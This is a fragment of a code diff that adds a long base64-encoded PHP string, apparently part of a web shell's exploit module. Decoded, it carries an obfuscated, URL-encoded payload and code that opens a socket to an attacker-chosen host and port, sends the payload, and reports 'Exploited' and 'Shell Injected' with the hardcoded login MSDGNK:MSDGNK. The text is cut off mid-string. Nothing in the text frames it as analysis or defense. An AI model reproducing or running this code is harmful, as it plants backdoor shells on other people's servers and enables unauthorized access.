+			"dXglMkZMYWR6TzgxblpLN2kxUHdaWCUyQiUyQm1WVjdodm16Ym4yaXowdCUyRnVRcmRROGp4MTR1R0JIVEhta0RUSlFXNmxyUEtn".
+			"N2V5c0dIJTJGRzFnMlp3Unk0N2dTYjljZnAlMkJxSDFmbG44WEx3VVdTRWRZdk9WT1lUM3JDOWRaWGE5azN5M0xtSXFnZExQYXl2".
+			"YmdNU1VEc0paWVg1SWo3b0xaUW5DVnJpckthJTJCYmdRY1kwQ1dnNk9xeUtWRHUyTTA5bDdyMHpHMzlXc29NdXNSN2RVZ25WN1NP".
+			"bXhqZ3JIdzVSMUdVMiUyQjNadXIwVjVTM3Q5QnFBZlNhY1B0S2JDeDhhbGlVRnhMSE5qdlo5blglMkY0M0dRU09NbDNCSjBHMWx4".
+			"SjVEcDB2TUtQQ0hKaEwzMmNtJTJGVmoxSTdLMTVod3RZUGlYR3FyTHR1a1J1UmZsQmp1UkhXTjBzYiUyQk1mekpFdkhSRSUyQnhC".
+			"V1FRR3k5QUlZZUclMkZLbU0zUXMwOUhkZUJ6dmhNSHBFWjBLTk43OEZ2QnQzTU8lMkJHV1JCMzglMkJmNU9Vcm5OMWxZaHVkJTJC".
+			"YUhoczE4NldNTEptREgyQTQlMkJobXh5QzRpOXltSzNOaGtacVFkckslMkJ2Qm4lMkZ4ZjVaUkdjTkVHMEhuRmRFQlFaMjFKJTJC".
+			"b0s5cTloTDNYS2NJUFd2RHZCTDZYNE56ZCUyQmE2cFA2UHNPa3NaNEFKRmFkSmJ5MzNleFRTbFRIYjJRRTRFTjhlMkIxWHRLUXo5".
+			"VFpGcTlpT3hvTTkzTkd5aG4zaE5ZV3B2Tmh1MXR6YnJIRkhRQUIyaDh1aE9ESlg0N1FmTyUyQnBZdlFuUm9Bbzg2ODh1R013aTcl".
+			"MkZvSUFDJTJGSDNJTG45bTNlOW5CbEVuYnhYRXY2UmFHNUolMkJSa0xCeTE0NFRQMFBjSVdjdk1hRENYQVNGdGN5TjZHOHBMa29o".
+			"WVklMkZrSXFPYUglMkJGbVQ4JTJGRHZlMnJKcmFEZ3lkazQwQ0R6aUJJb2xDWFh0ajNvajhZa1dsSmNtczZWSGhWTURSRjRualRT".
+			"Y0xlaHdlVWhydW1BV1kzUTJRMGpXdSUyRjklMkZnd2xlOWIzJTJCV2ExN25YWTN4QnlTJTJGdHE5ZG9mYUNHSFg4SmdmdUtsZjFL".
+			"WmRtY3J4WEFneHEzM1NIcDQlMkZ4TndCZzJMMUFYJTJCSXNZaTBRUDdtaHN3a0FSazhCdFY5b3clMkJWV0dicnVmQ0hkY1BOZkNB".
+			"VEthREtWakliRXppbEZjenglMkZaaDZtSmM5S2Nza1NTQlIwdzROJTJCdnFweW9udEJBenpickQ2aEYzWiUyRkxYUUR1Zmt3Rmts".
+			"JTJCaW9ZMjhxREI0M2w4VlhiYXZUTjdGc3A4dzhhdWhPV1I3d3M0S2NtJTJGYnREUUNIMllpdUNubjhTTlhPSlgweDVsazNZQzE3".
+			"ZWFuZW11Ym9TQktxQWx6NFExbXhPUWJEamI3dW42dFFhNzYyVld3OE1sckc1c25Oc0VtTUg0RlhvOVdidjhLVEVQbDd1ZWlwVTh2".
+			"R1R3eiUyQkNob2RFdVhLb3pGNUxLNjFOV3Vab3Z6b2ljMlkwWCUyRldzNkFtUWhrUkdxNSUyRlR4TXo4amZoeTJTYnJnTzdVTEs3".
+			"cVc4N01ENUNOZkE1UWxQbWsxNVRUcWRIUXN5YjZsekg3RXNmUHBkUEk1aDN5TyUyQlJhQiUyQlI1ZkN0amVLTU9QU1paJTJCa0da".
+			"OGpaclRDMWFPRW4xNHpQcDVYeTM0d1Q0N1NKaE1IVURLbFl6cUE1R2d0Q3JPdnVhUlZERDhyZnQ2QVR0JTJGR1cydHVmeEh4MFh3".
+			"cEtHcDBQVm92YkhJJTJCYWtGMDRlJTJCbkU4d0VtT3VNRkZSemNTYjJyU04yakpNdTh4VHZDT0wlMkJvMTROJTJGVGFvQjh3SWlU".
+			"em90WUZycE9wNWRYd2VVRFUxblZ6WmtHTEJFalZkSzdhdlBoY29TVU9hOGM2NCUyRlRubVZaTVBwVGNRYmlIRmxhTkhJT3ElMkJ3".
+			"SmRnUzJWVURvZExxbW5OYVJMRkpOSkh1UzVHbiUyRjdneHk0NTF1TXJuR3hlMnZpUjFEQm9uYzJBMzFseEM0WklUMDk5JTJGNm9F".
+			"NHJndVZDcDBhJTJGSXhNVVNjZmMlMkIlMkI3R0UySTZFNFNhZWYlMkZKTUVpJTJCdUNOUm5jRFd5RkZJYkJnclBpOW53QWJ5akFr".
+			"b3BHMFBpWTlxaFgxazZEc0tkTUg5SGEyNE16QTVjUkw5VDgwdXFKS1M4d2RZb0NzJTJGMncwY0RmNjdXTnNQZDVKYjRobUVGN0lX".
+			"N1BzTTh6VldSYW5ZbHRyc0R2TjBQTGhoUiUyRno0MGElMkZUa1dJWEI1dHZoOUtoVXEwb29zQkNSMFg3TGg0czlHJTJCa25ldVZS".
+			"VWNsJTJCVndCcWZ6Vm5OQldldGdXaTdxelBTdHJ6MmMxOWdBVE4lMkZHNG9VJTJCV0VhQW1VNiUyQiUyQkpndzdxZ0dLZ1luajBN".
+			"VlJMQVl2WnpVcWtqQjR6RHZERWp0SlhqdXhzdSUyRjdid3N2MzVkSmJlbDhHdExKek1EJTJCS01ST0JJbGglMkZhZUZsaEFIZkdG".
+			"bEx4WENtVG83RXVqQW00RnJ3TXNSJTJCak53Mk8lMkZ0eExpSm83aVhqdURPdFZkTUhKMkE3UW0ySXExbnhia2M4N3RURFlueUlp".
+			"ZTFhVm1VejdFcjhsMUM4Q0Y3aHJ5N3VvcnpFZ1JjV0dLY1FVNCUyRkJVWVM2bkVjdGV5SiUyRjZRMWhybGRCYyUyRkE2N0UxS3di".
+			"QzdiWlRCcVBrQjRuY3lRRG9IcHhBVTZVN0RjQjBpTk5kZmhqMUh6Zmc0UHgxWm53VHRJdiUyQmNuJTJCZ2tIN3N0Yldia09XWWU1".
+			"RVRMV044WFVNWW1MJTJGUXBqNDF1aURaRW5jcURMJTJCSjJJcGhUQ3BINDRCRkhPN1pPOWY4RSUyQnAwbGtZdHc4YmhiYTJuT2dN".
+			"bHc3MEdPVnh6OUltUlQwVjl4T0l6MVFQRyUyQlVwcmN4VjhXMEtYRnczdzZ5N0x2RHcwOTJiSThvWkI1TlBISmZNMDczM1Zmdkgz".
+			"djNiZ2h0NTBuc2ZWaGxSd1VtbU1COGhFUXRaQ2tRMThqZDluQng0QUglMkJCVGdSNWFrOXlmcXg3bVo1NnFrWE1KREVGMThDYVF1".
+			"bGdFNzNuUFZRUG1OMm9NeWFqWEpZJTJGUlcxMlV5cnc5MGZRakQ4U2VvTDIza0EwdjU5RUZUQTRTJTJCUVBoclAxMXBXUDNuMkVR".
+			"Q0RKQXluVlZjWiUyRlIyMXhjUUJjZDliNU1IalJVNkFUN2tRY203RER1ayUyRkZyalZ0UGtvUWxHaE95d1VSbHJvRlc3MTduUzBL".
+			"RDd1TlBPVkt5ZjRsRnlhU0NxVlZnUk9ISUhpYlNYTWo3WGlBY1plV3Ywc1laU0gwUnRHM2d1cjZzM2laekN5MHpsdEhWaFpON2Ql".
+			"MkY2SVk4cSUyQmNtOGRqaWVQeG9DN1JFTEQwZEk4Z3BBNUhZeWhZZEl0Mm1BdmJOVThqcmdzTERvdk1lTWNNOFlGU0V5NHhnd0dr".
+			"U3ZwUjdDSEdtVVNBa1ltTXo5ZXRJZ2dTSkNOTnh0N0xYUjUyb2ZJRU5tenpaQ3NyWWxDUDV0Y0s5ZUJtc3ZZalBqelpUdVpvODVX".
+			"bW8xMDZuJTJCd0JIdzJwUFUxaHRrZU9DYiUyRlRSc3VFbDB3SWpvNkoxakFPViUyQmVOdFY4aVRPcEFPQ1laU1o1ZnZ5VUJGamoz".
+			"YllmZk0wQ0I3ZUtSZXpORCUyRlNPWmlubmg5bnEySGhoZ09hNjRXTmFmVlF0Y3NWbHg1ZFVKQUx4SUJaS0s2TTZGVjlMQjJNQ2xV".
+			"MW9jeXAzSGUlMkI5M3lnclQlMkI5NWI2czBjVlFlMzVDekclMkI1dzgzQWIwY1dNbyUyQmVNYzZKVE5HeDJvemJZcFlyZjNMRCUy".
+			"RjR2NTRMM20zd21JUE1OQUJPY0VFJTJGaU1kRVZpb2R5R0d0UWJzUHZFSlJ5OUUzcmhSWHdlNEEyb3VweXVkbVdOc0x0aGMlMkJv".
+			"dm84dnpjT1RSQjRtdiUyRm5LOGtaMXhyTnBxMmRWVXJiTGNLOHhWZnRLVWV1NVJmZFl1VlgxdkNwUWxkclRjQXBrdCUyQkQyaEZB".
+			"S3Q0a3FaTXF0cCUyRk5oaE5reUtLa0NualVxMyUyQnglMkYxSSUyRnk5S09wUDVQZ0FTTk9Hb1RBU2MzWGljTTJJa0JyeU93Zjdp".
+			"azAlMkJ1UzF5MkRGTHQ2T1dPd3hTTnlRWWRJSVZpczhRZzk2dTYwT1lKUlNpeFhPdHM0ZE5hVDhuajNTbVRCTURvYm9jcnN6OGtw".
+			"NFNNNCUyQmhJZFVYSkJjeUVmbjBYJTJGYVlhQ0Z1eTF0UGFESlBjOVdoWWdpM01XbGRVSzlxcjJTTGFlZ1BQJTJGdERIWXlaM3Bv".
+			"YmI5andJT0JXNlQxOUIxNjBFc0hjdnhLSXlBdXZRTEZKVFBpM1o2MXhYWWV2c29nMDdWYkFpdXBwR2FFTCUyQlEyZWhxekwyNHE3".
+			"c0FwWmVBOWwxaW9OJTJGZm9idmZsWCUyRmZVaXpBc0paU3cyVTFSTGFrZFclMkZHTHNnSW9vb2VXU3NjdnVtNW9pclNmbVRObTRs".
+			"MHFjSlZyUG9yOFJTdHJkJTJGcXI4VHpFZUhWSURTNVF1N3RZVWtKSUFwVVJTdnEzdUt6N3JvZmIlMkZ1c25aNDFIM3R4VWtpTzNQ".
+			"VXFZSFRxanZMWGl2MGNjQ0tSRXVlUmd0RFR5RUlyRHZnNVYwNVpCOCUyRkpzdk5BckZpeXVDTHhlREUwRTF5U1V5JTJCcEFjdnJF".
+			"d2VoWnFPSTNjd0FORFFxODRhZ1p3MCUyRlAyV041Wkw2YVY1ZmdNZHVFdkJjNW9OSVRwbm05NXpVbVg5MlYybFFYZDdVTUpHdFpC".
+			"TW1uMmhJOVBZZlklMkJkbFFRdjZrU2U3JTJGWU1LZzYlMkJ6eE1DZSUyRkRucTBLQW9JQzJCWmJvb3pKekR3NWFPQ0F1Z01ucWRn".
+			"RUpPOEdtTUZBb3Ewc2lTUWpNTkU0JTJCJTJCeUJjJTJCdHQ4ZDRLYWRVQzloenVOQmxGQiUyQkZ2eTh1Q0VrSlRqR3ZodFRlVXRj".
+			"VHRscSUyQiUyRjNaeEYxUWNkeiUyRmdLSEdialhmQ1VzT0dVTWl6N0cyNmVlTWhENHp2RWdlbUlrTWpWb2VqJTJGJTJGSkxPNFRI".
+			"UmszMnl5c2ZIVDA2NEx2WFB3QjZCYWwlMkZVaHV4SktzYjUwYjlQRmFWNkdubXhsTiUyQlZlSWVuVXVaODl1YU9ZZ2RDQ3Vrd2lv".
+			"VHElMkJwZUJVVjVVVmZmcFFWeXJ2MkhQQlU3ODJEVTFqJTJGWkg3emVBektFR0hOb1JYWSUyQmxLJTJGTHdVRUNZRzNpWVNnQTgy".
+			"RiUyQjUzaEowJTJGdTBEN056JTJCJTJGWXdJc1g1eUdzZVBZN3ZmSWR6U1dsZzc3Yk9LaHBLaGtLcW0yN2liWUJ2Sjk1b2MzNHZl".
+			"WFJnNmx2SzY5Y25LUnlmbmU4YmM2JTJGJTJCVThMMGNTSEpLUG5jTUMwUERlREVJejc2VldaVUZaOTBlSXZ5T3NtcHBBTk5CR0pS".
+			"T0ZPYXdOSFFycWV5alJHN1VYbE5zeFRaTmFFMlFjbUIyZ2p1R01wdE9Rb1hjcWpHSUVIUjg5T3hJSXh5SCUyRmRVM2JCZmN5JTJG".
+			"SnI1OVBtVmVBa3R3STZ0b1NacGtLb3c5RG1QZHBQelU4SU4zMHlXdGZYTXlINjYwZmVvJTJCNWJSRTVWdG1pZk5JUGkyMWlmNThm".
+			"NFluRmRBNlpBOE9yR1dyRkN1aDlSamE2bFR6ejFQeTFMU09sSUl6R001d29vbW9kTmhWb21GSVFBQnMxMjI3Mk02emVoRmZqMTNI".
+			"dzVJTzl5ZXBtOUhHZ2k1MUxSbmJLV1klMkJXekFFak5kOGpDWXk1VkJoZzRmZzFKVE9zakszVTJwOFNMYUxYJTJGWEJBSXlsNnY2".
+			"TnBkNWlWN3JpV3pDZVY5WHZ3NWhTb0t3R0JLUGFLWXhFNGRiNUk4WU5ERmxJQlI3dFZOMkVuSndXNHJ4S3NhVElXckIyNURlQyUy".
+			"RlNibEkwREFMamJaJTJCQWFoMW55QUJXTTJ5dkdVN01LRHJ6b0ppYyUyQmdEUFklMkZ5TldFSnBtbjhVT0cwaWZvZjE2WmNQaE12".
+			"dXAyQjBvNkhvJTJGUE50cTFKRW4yZEhWZU9qZlo4dnVZYzdiRjByeGolMkJudTdYU3haakhkcEhQVUVaYU8zVksyajQ0dkRrclFx".
+			"VDdJVDN5aVRLQnl4b1dsT3VGRDJrOGVoZ2dEa3NhWUhXQWI5RlhSeVd0WWI0R0cxdkZWdFNLaW5KbiUyQlh2TDRhNmlpUkI3dEJO".
+			"YUE3MUxXRGFySktxVlpyZDZqWFFTQmVGSndlUVZrMWNYZTJWUzZFVVJic3p1SXlaWjlGaWdMRkJqYkhGWSUyQkx1bHJhUUIxUGE2".
+			"aDNBaFJRSHZCNWUlMkZLb2ZFbFd3QjI1JTJCalhqbUVydFM0Q0ljS3NFV0FaRkxBc2kzNjJSQ3FxUSUyRjIzR3pPOExnVkxZU2VI".
+			"c1FnUXl6dGp0MXBMT0dqNWgwTkNQYldRbnhqcWFoZE5TVWpWTFEzak5yOEEzb1NQVEVyc1VMSEdsUFZPM09GS2JURk9TdiUyQkVq".
+			"V2I5cSUyQlFHWUZPdld0RFVwMVhSVVl4ZSUyRkpBeEdRZGtNdDAzUjhQbU05OCUyQmRabFM4TUVUdHNPRldJajVZJTJGdFMxcUtj".
+			"SnBnYyUyQkViNXAwZFFuJTJGJTJCSjNxTkNTcHVkODRsY01idjl5aFBpV2M4WFZUYzg1amxYVGRyU0Nsb2RHYlhrYlUyUlFkbDBV".
+			"eEtyMXlSa2NFJTJCOUxvSjN2dzNhdXBwR1FTUE5ES2FrU0RlWng3VTF6WkRzcVNYS0RWV0xYV050NDBhQndueXpScEpwZHgyZ0p0".
+			"T1dQWkJYTG80M1dNOGpWeTFZM2VHYUs5UFVTUThWdm1aa0VUOE9mNVBMODhiY3RWd0VwNSUyRkh4NmZEbDlRbWFIY3NMbFVsUDZR".
+			"Wk90WCUyRjZZTEtPY2JyRUNYc0psbE1hVHRVcHQlMkJjNkJQSlhVZm5uSEMwWExYMEwwZXRjd3FQejNtMEVBQ09tdGd3YUowRmc5".
+			"eTR1NiUyQlNEZ1RQUGZKZ04wQVVPWjByOG5JNmNKSVkwc3IlMkY0USUyRktlMnJpcTl0c3djJTJCSlo5UVh3a0I5eWd6emFjb3Y1".
+			"RVg4cE16Nnl4Qm1teGliOU42NmhSQTFsQ0YyQzNEd01TZFNUejZ4Zk9PbGJUNmF5eiUyQnVJMDhiWTAxSEE2WjAlMkZGTUNCZjky".
+			"WnZQM0k2Sk0lMkJ4NmRLVjFCWTE5OFZMNlU3bVhmQ2cwNE4yUCUyQmM1WjBZNEZDSFNoMk1zamFIbTlWQm8zTldwMjllVzM5OE52".
+			"cjFFd2tqbWZtaWliSVBNdWtWRGolMkJrdzhVN3BoJTJCUE02TzZqMllKQVFrd2Rhc0cxMHBwdXVlem1JUEdYVDE3MGdmYyUyRmFx".
+			"ZUNoajVYbyUyQmhWOENodksyTmVSbE9CRkdMck1MM1ZvS3g1YmYyOEtnajA2aFI1SjVTRHFNU0t1YWVCSDdVSnBjQUtJaDlHRm9Z".
+			"cmZhdkNFcm9xQmJvenM1aHZDSENJMXJmd0g4VHVGN1VrSDlsVExaZ1VvZklBS2ZKRlVaWk5Jc3F4NWt4REM4eVhmTWY2MFFBTyUy".
+			"QiUyQkFUUWNxS2JYJTJGN1IxeFFyUkRxUnlmck0xTW9QR00lMkZjSGs0TjBpZUdhbGlvdG1pTFM3SzJLUjFYMnlYTDNRbWxXWXJK".
+			"VGlVUHI1VmR1YmxmZFdEUlZwYmglMkI2NUl2TWtFNGFXOXcyVVprV3BvTCUyRlR2WkF4SWZVR0NWeDJjOG5oYm1JMVJyQmsybkRx".
+			"dyUyRlpscyUyRjZXbnR3QUt6aFU4SEtCT01vcXgzNDRSWWM3QU5DcU9XNUxDMEVVa3pIM29VRDRxeVlUazNyQUsyRUwlMkJyeHFt".
+			"clZxZjFoJTJGcTl2Q29ZbWt3b3llZE53JTJCJTJGbTJyUHYzdDQxeGtMSUIwbkJ1SU56a3c4cFBLcEpScFkwTjFKdk5uc015SUNx".
+			"czJYVCUyRkslMkJldzBNRXBXekdSVnJ6YW1KcWIlMkJjb0ZiSHJ0YTV4c1R0dkhCNkZhYlRLMGZ4amhlV2hyM3lKY2FwYUo3V3J6".
+			"UHVob0Vua2E3cWpoYUdxZFlZZVpkamJOZm1wdHh1b1ppQiUyQlUySU1Vd0tWNXVWVzkzenhuWnZkbTdSOVZEdG52SGQ4V1JpVWdC".
+			"Y081dlU4S3prd29WWXo2eFY2UEIlMkJvcUtPNk5RSmxLVlY3d1FVakxBcktDdlpMZ3Z0a0FTaDR6STF4MXBhOVdITzQzaUpFQkRZ".
+			"ZzNjd1NrbWJ3QVE5YUtiZHI4YXRVMyUyRjRxQ1pUa1lPQTdBdHNXbFhSR09GdW1DdlB3MExJVFQ5SzVtdVdSZ2QzcVBmYmozMkN2".
+			"a2pXcnpVM0xkWGZIJTJCJTJCNDY2TjFEciUyQnBLVUJkQTcxTjJiJTJCS2JndFpaTDJnMjlINWYzNWRuSGI3JTJCV0Q1TVVoWU9n".
+			"anNWSlBkZVo2aVg3eWdnTGZOYkx4S2J1YzYwYWMlMkZubVowNGY5Y3AyNU5TNHl0Vk9HYk02OW54NlVWNzR4WEc0Wkg3Q2p3TGxO".
+			"cjJyQjhzdnRpTTVpRVlacFVCNlBvSDBZZGdIZWRucURIQ091Y244VUYyQ1lWUjNkc1BsRzdPSnZTJTJGcWpBMWU3TEhDTmNONlpm".
+			"TjU4YVFHb2laU09sTjJiMkFoNGY1QWduNXpmM0dvdHVWVWxFMkE2UVVhMndQSGVZZmVZcEl1aENEOVBpdUtzdjBnekRLZmtlNmcl".
+			"MkJOUUN1YzF4dXlPUURYSiUyRlJLU0IyOGEyYllsalRWV3EyRmNrMTZGcGRtQU1oYmolMkJoUDVQbXdNa3NwcGZOYTlGZnU5bGVV".
+			"UCUyRmJYQUlwWFpUSHNvN2FuZUp4bzRJVXlWeExoUzRLaXFWOHJHR3RZRmNDVVFRMWpFcU9LbEJrZFBtMHNTajM4bGtycyUyRkVi".
+			"eFRkWnglMkIzZ2cyOCUyRkQlMkZObVhLS0l5RUpCTmNMSm1HTWUzZyUyRjBuWG14UVMya2tYJTJGeFRYeWpnYmtiNkU0cDVaVW9m".
+			"SHdhdUJvZmY5VlN3TGg1cGpUUGZzUmpXZUlFZWNabUUxZVQzTllhOGZmS1RTZ09oNUwyOWZPTUF2czloQXBkSmhHcFNDc2dIdTU1".
+			"VzMlMkJxME5QNGRWekZDbTQzNFVsVFIxZGlzSlYlMkJvWDNvNFhLeDdmUEFZeFNqWUVyTUglMkYyRnFUSHdkOVBuZ0dyeHB5aUFq".
+			"QUtmck5ZeFZwMndoWHdXQ0F2RjVFTiUyRk1qRXh5czAxWm95RXBURlFrWkhyMFlaOFc0aEc0c0I2TE5pZDVKd1I1S29BN1ZBa0Ml".
+			"MkYwejZHdmFOM3kzYnNwQ3VnczlETiUyRnYlMkZ0cUtPcDQzRkoxWTAzek1TOVglMkY3akJvMERueHV5ZlhScXRETHZrQkVveFVl".
+			"SnZaOVEya01VcGI2NUdwOGdnUHdibzVuazhGSVVvYkxuViUyQldyQk9rS3VwNEYycGJXS2xoUjNhN2dHZGpOZ3FJSCUyRjdQMTJC".
+			"ZThiOFJqcm52YldmWlBoZGJSUUFBY3JoM2xLUk5UU2owd3REMUN2WnNCTUMwS1NHVU80dWpFYmRUbVpjbjVmV1ZnTmx6WnhvYTJp".
+			"JTJGSmxhbmk5WDJNTTIzUGpGR3U1TCUyQktYbm9QU2Q2bTliYUJ6QTJ2c1N1NmxjQ1hoUU5uNkczbjA2cDQ0N3p1dUEzdHNyUHo1".
+			"MEtSS0lYVUsybjZJck91Sm5aTUVua0NYd3RPZTdjNUlGVXBmZ2Q4amJzNTRoNiUyQmdGYzJZUG56MXpjQzAwREExelBRUmM2SWl1".
+			"N1NRWkdtQmZ5TG1RSVlnakt6TmhmbXR1U2J2cnBTc3VsSzA2TmJqTkpDa0dCMzI0Q0hJS0tNOHpuUDJKZmFhVnB3d0FkMWpSWldO".
+			"dUZOcFJUMng0VjJOYlRmbG9xMEZVVmtYUFMwQ3dRQ0wzNFJya3kzZ0JSSkY2OU9ZdlBaNnBVMWZyTlZSYjF2YTUzRmpTMVFHWFF3".
+			"eE1TdFpkanpBQ1FuN1k2M2tYMmdSc2JsQ3QyZjFXc2tmRnlwZVlaanNkS3NDT0hQRTB2OXV2U2FPcWNLRnIyJTJGRnJMVDhJUnpM".
+			"NWZNSm1Tc2tiTTh4N3QlMkJWaGVMQkRQOVdPaVFvOVdOaERsSk5zMU1VOUhrSTVoaklBdWpZMmljQzBzUW53Qkd4Z05HZHNzT2hk".
+			"U3FjV2t6UDdjMDZaU0hnMzhQVXVtWU1raGx0dWRDRnVST3VRYnhzNFhCQkMzMkZuM1NxclhlWDFJbTVWWU9CNVo4ZzNGNmN3eVR0".
+			"RVBqNzhOZXZIcXN1V2JETEhsdVZDd0xpVFNDODFvU3ZMR1QlMkIwTkZnM1g4VHRUbVVpYWZYWk8yS2daV0JhYUcyV2hBYW5DJTJC".
+			"U0lNV3haZE5SNTNqQkRBUEY4Q3I0ckp3a25OaTYlMkJkdWw5UG91RVJxM3lheE1mOWJkcThsTiUyRkVWNFhrUnViZkYwSmkwRUFN".
+			"Z1VjMnB1RVVLdHglMkZTblhPOEFjOGxkSmJNcWxaR2JNVHYzTDNmTHVQSGxscVBRVUh1JTJGa2g2STB5bG9UaDJCQnpseWdKQTQx".
+			"bjBuWSUyRkRlaFRuU3U4NW5OeGp6MzhTTk1rbGJJWXJmaXFtS2I4MjdESTJKa05ZWXFJMiUyQjJpbDlmTyUyQjBsVSUyRjdFOVV0".
+			"M3VyJTJCNGprNnVjbjV4bmh5OTZzMHpSbFhpWVBWOE10Q0hwQTFQbmVmUkxZVlp5TTl1dnVWRUk1bmN1WkFWblRYM2ZyRCUyQnV5".
+			"MjZCa2RlYmRkYUdhS3BsOHZoMDdwVUJERm1kTzFjaCUyQjEyVyUyRllGakJLcDNSMjklMkJpb2YyVXF6V1ZXRmtSWm1OdjFLRVFY".
+			"MVJvYmtGdElzU0tNJTJGOEhTbHd1YzgwWlk1U2NVV3hFN2h1THNHYWNvYUtqYlZoUTR4QnljZ0s4SkhHSWpkcUllUlpqJTJGZjgx".
+			"TWJTUUFFQjhWZG5vJTJGVkdHaDJIM0tYSFMxJTJCdU40NHpWTEpIUHF2aUdrb2RscjRGRUt6Yk9xNzBxZFhMd0hUWWZyd3l5MUpP".
+			"bU1Ya0Z6U29QYzl3U0slMkIlMkIxVGs1RVQzUiUyQjlaN25wcEg1QkozJTJCQyUyRjh1NGx5U3NVamVMb0QzZXN5MWI5TXNUZlZS".
+			"R051NXV0MXZEd3FHczY2JTJGUHVwd0ZaZWFucnlCRW9PSkFWNDRJZXlKUVJoN0o2UEtDUUZoQVVwVk1mT3YlMkJCalJ4UEY3cUlO".
+			"WTgyT3N5aHpFd01hQ0RUM2tZbTc4T1F5S2lIc0xWRFZYJTJGS01hVjJnc2pnSE1lY1RwQllkT0d6clVnRnJOZDJMREt2eWRHSWxB".
+			"bFUzYndKd3QwVm5qVDZPUGdFejFSZ0Q2dmZhVmpRWTZlMDhTcEVwQ2JoaHVJUmZ0Y2IwajloVTNTMmV3b051ZUVndHVmejJCUWlt".
+			"WHZHWnN0eEZqRzhzT3V3TktCcEt0USUyQktMQ3BoNldadXhiWGw2aWtuVEtSYVBWcE9meVp1aHlXMzdneFIwcmx6WnlJWiUyQmxW".
+			"dVYlMkJNQmFvS2ZueU4zeWhmTjNtSm1oZHVJRDVVa0ZHUmQwMExva2luUVBNTGF1c3FYdWtvQTB3cDlLV09IZ1k5UVBKOUYlMkZi".
+			"bGMlMkJrSG9QdnN1dXBoSVBlRnp0cHMlMkJjaWhmbHpWVGRsV1Z5WGVDdjNFTUd6c2J2bmhOSCUyQm5jZ1ZsVTJKYnlvRyUyQnpI".
+			"TGptZklIemlndmo3dVRzTFJjVGRmY2ROYmV6Rmd6dCUyRnVMWmRhcGZRcjM3UkFzMnE5VkxBUWJBejBTM1JYZzJnMSUyRnVEbktv".
+			"eDFlWlJlcTJ1UHNON0VmdkJuM2VPbiUyRk4wREQybkxBVkZwQlhvJTJGNjZlZTdKcyUyRkMwT1Q5Q3IlMkJEelBlbEtjUVQ4OSUy".
+			"Qkg5ZXRaZHFtakl0akVBOEtKdjk1N0ZqOGY1TU9EelJEaHJveSUyRkJjWll3OW9DazMlMkJLTGFQdGFGZDNDcHEzTmpRR0xHQlVr".
+			"QTg0T2QzJTJCWEpXbm8xNUpnRWE4VXdRQW1Zd1c4MDg3WEcycSUyQlhGQk1CTEI0enBWdHVPY1FQVldZdUZQQ3dYN0R5MHFnTURJ".
+			"b3hGb2sxN3YxVXpCZlg2RjhOS2tIR1NlcDM5b0ttcEJaRExNeVpSV0hFTFF0Z3Nwa1dqcmNaTEQ0UE5jTHF1WDAzakNRYnRCdnow".
+			"SHFHWCUyQk04aks4MEdpanJjUVFxVEE2Z1RKQjlKeDlhbHRjbWQ1V2NVMlRvSXdTZDlZelUzZ1MlMkYyN0N2Z3l2Ulg1Nk96WGRr".
+			"djBzdTBOV0xFUUJkSkdza1o4UEJPcW9aSUhSaUlkdk1oWVZ5RGIxTFZ0clUlMkJBZjY1Zm1QJTJGTDV3UUM2NWw3Z1pJbGdaSWZP".
+			"STJkMWt1Q0swSFlFa3UwbmlQMkFjJTJCTkRrSUFpJTJGcm5iN3VFMFFodGdkblhVdEVHaVBrWGNWaTZXcG5DSHlyWVI0ZlYlMkJH".
+			"ejd5bUkxZEt0RHZBZTZabk9INEZkb2Q1SUR3ZVFCbnZJMSUyQk1EQWtKOSUyQml2cnN5M0ZGWFNYMTV1YWxKdm9HY1hEU0JwcTVj".
+			"eEhTa3ZKVGRXUzBjV1dsVFdodUIlMkI1dDFHYkd5S2d2VWpEeUdMaFpSNVpvZUU2dW92NEF4dU5GcTJzUFd5NzE2SnpFZjdRQTJG".
+			"dGlvUk15UHFZeFIzbTNKcmdsTTU3MTE4amFSeGFTS1BFMVBCMnZFUUhjUHZoYVo5Q01EU2ViSWslMkZGYkF6QXFSakZHNmtFMzFy".
+			"WkZiM2o3U3JQanh6NEZNTGRMR1hKTjFpNWZ2cHFPZ3klMkJOSUdaJTJCSWFQV2MlMkIxRkxaSjB5NWpSd2VUUXJyemFGaVJjRlhi".
+			"QWtEbzB3WWZWY05mMVJOTTB6c0MwMm82cnNTNXAxVjNuNjYlMkZRQ2pSTjg3UnJSVTZUdnkxTlVoUUlnb1ZsV2U4djd2ejMzJTJG".
+			"JTJGOTg4OCUyRiUyRiUyRjhQJTI3JTI5JTI5JTI5JTNCJTJGJTJGJmRibmFtZT0mZGJ1c2VyPSZkYnBhc3M9JlN1Ym1pdERCPVN1".
+			"Ym1pdFxyXG4iOyRyZXMgPSAiIjskYXR0YWNrID0gZnNvY2tvcGVuKCRfUE9TVFsidXJpX0dOSyJdLCRfUE9TVFsicG9ydF9HTksi".
+			"XSwkZXJybm8sICRlcnJzdHIsIDUwKTtpZighJGF0dGFjayl7ZWNobygiPGJyIC8+PGI+d2hhdCB0aGUgZl9fdWNrIGFyZSB5YSBk".
+			"b2luZy4uLiEgPGJyIC8+U3VtdGhpbmcgd2VudCB3cm9uZy4uLiEgPGJyIC8+c3J5LCBObyBlcnJvciBoYW5kbGluZyBAIGFsbCA7".
+			"KS4uLjwvYj4gPGJyIC8+PGJyIC8+PC9kaXY+Iik7cmV0dXJuO31lY2hvKCI8ZGl2IHN0eWxlPVwiZm9udDpub3JtYWwgOHB0IHRh".
+			"aG9tYTtwYWRkaW5nLWxlZnQ6NTBweDtcIj5bK10gPGI+Q29ubmVjdGVkLi4uPGJyLz48L2I+WytdIDxiPlNlbmRpbmcgcmVxdWVz".
+			"dC4uLjxici8+PC9iPiIpO2Z3cml0ZSgkYXR0YWNrLCRqb2tlKTt3aGlsZSghZmVvZigkYXR0YWNrKSl7JHJlcy49ZmdldHMoJGF0".
+			"dGFjayk7fWZjbG9zZSgkYXR0YWNrKTtpZiAoc3RyaXN0cigkcmVzLCAiSEVMTE8hIikgfHwgc3RyaXN0cigkcmVzLCAiSEVMTE8h".
+			"Iikpe2VjaG8gIlsrXTxiPiBFeHBsb2l0ZWQgISA8L2I+PGJyIC8+WytdIDxiPjxmb250IGNvbG9yPVwicmVkXCI+U2hlbGwgSW5q".
+			"ZWN0ZWQuLi48L2I+PC9mb250PjxwPlsrXSA8Yj5Vc2U6IE1TREdOSzpNU0RHTksgYXMgdXNyOnB3ZC48L2I+IDxiciAvPlsrXSA8".
